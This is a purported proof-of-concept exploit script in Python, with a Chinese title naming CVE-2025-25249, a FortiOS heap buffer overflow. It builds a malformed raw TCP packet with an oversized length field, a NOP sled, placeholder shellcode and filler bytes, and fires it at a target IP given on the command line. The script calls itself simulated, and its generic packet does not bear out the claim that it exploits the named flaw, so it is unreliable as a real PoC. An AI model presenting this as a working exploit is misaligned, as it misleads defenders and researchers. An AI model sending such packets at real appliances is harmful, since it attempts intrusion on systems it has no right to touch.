CVE-2025-25249 FortiOS堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-25249 PoC - FortiOS Heap Buffer Overflow Note: This is a simulated PoC for educational purposes only. Do not use against systems without proper authorization. """ import socket import struct import sys def create_malicious_packet(): """ Generate a malicious packet that may trigger heap buffer overflow in FortiOS network packet processing """ # IP Header ip_header = b'\x45\x00' # Version 4, IHL 5 ip_header += struct.pack('>H', 0xFFFF) # Total Length (large value for overflow) ip_header += b'\x00\x00' # Identification ip_header += b'\x40\x00' # Flags and Fragment Offset ip_header += b'\x40' # TTL ip_header += b'\x06' # Protocol (TCP) ip_header += b'\x00\x00' # Checksum (placeholder) ip_header += socket.inet_aton('192.168.1.100') # Source IP ip_header += socket.inet_aton('192.168.1.1') # Dest IP # TCP Header tcp_header = struct.pack('>H', 12345) # Source Port tcp_header += struct.pack('>H', 443) # Dest Port tcp_header += b'\x00\x00\x00\x01' # Sequence Number tcp_header += b'\x00\x00\x00\x02' # Ack Number tcp_header += b'\x50' # Data Offset tcp_header += b'\x02' # Flags (SYN) tcp_header += struct.pack('>H', 65535) # Window Size tcp_header += b'\x00\x00' # Checksum tcp_header += b'\x00\x00' # Urgent Pointer # Malicious payload designed to overflow heap buffer # This payload structure simulates the overflow condition payload_size = 2048 # Large payload to trigger overflow overflow_payload = b'\x41' * payload_size # Fill with A's # Add shellcode pattern for detection nop_sled = b'\x90' * 100 shellcode = b'\xCC' * 50 # INT3 as placeholder packet = ip_header + tcp_header + nop_sled + shellcode + overflow_payload return packet def send_exploit(target_ip, target_port=443): """Send exploit packet to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) packet = create_malicious_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malicious packet sent to {target_ip}:{target_port}") print(f"[*] Packet size: {len(packet)} bytes") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-25249.py <target_ip>") sys.exit(1) target = sys.argv[1] print("[*] CVE-2025-25249 PoC - Educational Use Only") send_exploit(target)